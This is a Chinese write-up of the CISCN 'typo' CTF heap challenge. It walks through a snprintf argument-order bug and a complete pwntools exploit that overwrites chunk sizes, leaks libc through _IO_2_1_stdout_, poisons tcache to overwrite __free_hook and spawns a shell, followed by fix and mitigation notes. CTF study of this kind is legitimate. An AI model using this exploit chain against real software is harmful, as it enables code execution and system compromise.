1. 漏洞分析与利用概述
在CTF比赛中,堆溢出漏洞一直是pwn题目的经典考点。这次遇到的CISCN18届半决赛题目"typo"就是一个典型的堆溢出案例,漏洞点在于edit函数中snprintf参数顺序错误导致的堆溢出。这种漏洞在实际开发中也时有发生,特别是当开发人员对库函数参数顺序理解不准确时。
1.1 漏洞定位与原理
漏洞的核心在于edit函数中错误使用了snprintf函数。正常情况下,snprintf的参数顺序应该是:
c复制int snprintf(char *str, size_t size, const char *format, ...);
但在题目中,参数顺序被错误地调换为:
c复制snprintf(heap_list[index], "%lu", new_size, 8);
这种参数错位导致了严重的安全问题:
- 本应作为size参数的
"%lu"字符串被当作格式化字符串 - 本应作为格式化字符串的
new_size被当作格式化参数 - 由于size参数缺失,函数会使用默认行为,可能导致缓冲区溢出
提示:在实际开发中,这种参数顺序错误很容易被忽视,特别是在使用可变参数函数时。建议使用静态分析工具或编译器警告来捕获这类问题。
1.2 漏洞利用思路
利用这个漏洞,我们可以实现以下攻击步骤:
- 精心构造堆布局,创建多个不同大小的chunk
- 利用snprintf溢出修改chunk的size字段
- 通过修改size字段制造堆重叠,控制unsorted bin
- 利用unsorted bin泄露libc基址
- 劫持_IO_2_1_stdout_结构体实现信息泄露
- 最终通过tcache poisoning劫持free_hook获取shell
2. 详细利用过程解析
2.1 初始堆布局构造
首先需要构建一个有利于利用的堆布局。通过分配多个不同大小的chunk来为后续操作做准备:
python复制add(0, 0x60) # chunk0 - 用于触发溢出
add(1, 0x60) # chunk1 - 将被修改size
add(2, 0x60) # chunk2 - 目标chunk
add(3, 0x100) # chunk3 - 用于unsorted bin操作
add(4, 0x100) # chunk4 - 用于unsorted bin操作
add(5, 0x200) # chunk5 - 大chunk,防止合并
add(6, 0xe0) # chunk6 - 后续利用
add(7, 0xe0) # chunk7 - 后续利用
这个布局的关键点在于:
- chunk0和chunk1相邻,便于通过chunk0溢出修改chunk1的元数据
- 不同大小的chunk混合分配,避免内存合并
- 保留一些较大的chunk用于后续的unsorted bin操作
2.2 触发溢出修改chunk size
通过edit函数触发snprintf溢出,修改chunk1的size字段:
python复制# 触发溢出修改chunk1的size
edit(0, 0x70, b'A'*0x70 + p64(0xFFFF))
这里有几个技术细节需要注意:
- 填充0x70字节覆盖到chunk1的size字段
- 将size修改为0xFFFF(一个很大的值)
- 由于snprintf遇到NULL字节会停止,所以payload中不能包含NULL字节
注意事项:在实际利用中,这种溢出修改需要精确计算偏移量。不同环境下的堆布局可能有所不同,建议先在本地调试确定正确的偏移。
2.3 制造堆重叠与unsorted bin操作
修改chunk1的size后,我们可以通过chunk1来修改其他chunk的元数据:
python复制# 修改chunk2的size,使其free后进入unsorted bin
edit(1, 0x60+8, b"a"*0x60 + p64(0x4a1))
dele(2)
dele(4)
dele(3)
add(2, 0x60) # 重新分配chunk2,此时unsorted bin中有大块
这一步骤的关键点:
- 将chunk2的size修改为0x4a1(一个较大的值)
- free掉chunk2,它会进入unsorted bin而不是fastbin
- 通过free其他chunk制造unsorted bin的特定布局
- 重新分配chunk2来分割unsorted bin
2.4 泄露libc基址
没有show函数的情况下,我们需要通过修改_IO_2_1_stdout_来泄露libc基址:
python复制# 尝试修改unsorted bin的fd指向_IO_2_1_stdout_
stdout_offset = (libc.sym['_IO_2_1_stdout_'] - 0x10) & 0x0FFF
edit(1, 0xd8+2, b"\x00"*0xd8 + p16(stdout_offset + 0x1000))
# 分配chunk到_IO_2_1_stdout_区域
add(8, 0x100)
add(9, 0x100)
# 修改_IO_FILE结构体实现泄露
pay = p64(0)+p64(0xFBAD1800) + p64(0)*3 + p8(0)
edit(9, len(pay), pay)
# 接收泄露的libc地址
leak = p.recvuntil(b'\x00'*8, timeout=1)
libc_base = u64(p.recv(8).ljust(8, b'\x00')) - 2017664
libc.address = libc_base
这里有几个技术难点:
- 需要精确计算_IO_2_1_stdout_的偏移
- 修改_IO_FILE结构体的flags字段为0xFBAD1800
- 设置合适的IO缓冲区指针来泄露内存
- 由于ASLR的存在,可能需要多次尝试(爆破)
实操心得:在实际利用中,这种技术成功率不是100%,通常需要编写爆破脚本多次尝试。建议添加异常处理,在失败时自动重试。
2.5 劫持free_hook获取shell
获取libc基址后,最后的利用就相对简单了:
python复制# 释放一些chunk准备tcache poisoning
dele(7)
dele(6)
# 修改tcache的fd指向free_hook
free_hook = libc.sym['__free_hook']
edit(1, 0x4c0+0x48, b'\x00'*(0x4c0+0x48) + p64(free_hook - 0x10))
# 分配chunk到free_hook位置
add(6, 0xe0)
add(7, 0xe0)
# 将free_hook改为system
edit(7, 0x40, p64(0) + p64(libc.sym['system']))
# 触发system("/bin/sh")
pay = b"a"*0x68 + b'/bin/sh\x00'
edit(1, len(pay), pay)
dele(2) # 此时free(chunk2)实际上是system("/bin/sh")
p.interactive()
这个阶段的关键点:
- 通过tcache poisoning将free_hook放入tcache链
- 分配chunk到free_hook位置并修改为system地址
- 在某个chunk中写入"/bin/sh"字符串
- 通过free触发system("/bin/sh")
3. 常见问题与调试技巧
3.1 为什么需要爆破?
由于ASLR的存在,_IO_2_1_stdout_地址的后12位是随机的。我们只能控制其中的部分字节(通过修改unsorted bin的fd),因此需要多次尝试才能成功命中。
解决方法:
- 编写自动爆破脚本,失败后自动重连
- 合理设置超时时间,避免卡死
- 添加适当的异常处理
3.2 如何调试堆操作?
调试堆利用时,可以使用以下gdb命令:
code复制# 查看堆块信息
x/40gx <chunk_address>
# 查看bins状态
heap bins
# 查看_IO_FILE结构体
p *_IO_2_1_stdout_
3.3 为什么选择修改_IO_2_1_stdout_?
在没有show函数的情况下,我们需要一种非传统的信息泄露方式。修改_IO_2_1_stdout_结构体可以:
- 控制程序的输出行为
- 通过文件指针泄露libc地址
- 绕过没有直接读操作的限制
3.4 如何提高利用成功率?
- 精确计算各种偏移量
- 合理安排堆布局,避免意外合并
- 添加充分的错误检查和重试机制
- 在本地充分测试后再尝试远程
4. 漏洞修复方案
4.1 正确使用snprintf
最简单的修复方式是修正snprintf的参数顺序:
c复制// 错误用法
snprintf(heap_list[index], "%lu", new_size, 8);
// 正确用法
snprintf(heap_list[index], size, "%lu", new_size);
4.2 参数检查与边界验证
更安全的做法是添加全面的边界检查:
c复制if(index >= MAX_CHUNKS || size > MAX_SIZE) {
return -1;
}
if(strlen(format_str) > MAX_FORMAT_LEN) {
return -1;
}
snprintf(heap_list[index], size, format_str, new_size);
4.3 使用更安全的替代函数
考虑使用更安全的字符串处理函数,如C11引入的sprintf_s:
c复制sprintf_s(heap_list[index], size, "%lu", new_size);
5. 扩展思考与进阶技巧
5.1 其他可能的利用路径
除了修改_IO_2_1_stdout_外,还可以考虑:
- 修改malloc_hook/free_hook直接劫持控制流
- 利用largebin attack实现任意地址写
- 结合FSOP(File Stream Oriented Programming)实现更稳定的利用
5.2 不同libc版本的适配
不同版本的libc在堆管理实现上有所差异:
- glibc 2.23: 没有tcache,利用方式不同
- glibc 2.27: tcache没有完整性检查
- glibc 2.32+: 引入了safe-linking机制
需要根据目标环境调整利用策略。
5.3 防御措施绕过技巧
现代系统有多种堆利用缓解措施:
- ASLR: 通过信息泄露或爆破绕过
- NX: 使用ROP或已有函数
- RELRO: 根据保护级别选择不同的hook点
- 堆cookie: 需要找到不依赖覆盖cookie的利用方式
在实际比赛中,我通常会先检查目标二进制开启了哪些保护措施,然后据此制定利用策略。对于这道题目,由于存在明显的内存 corruption 漏洞,即使开启了全部保护,只要能够实现信息泄露,最终也能成功利用。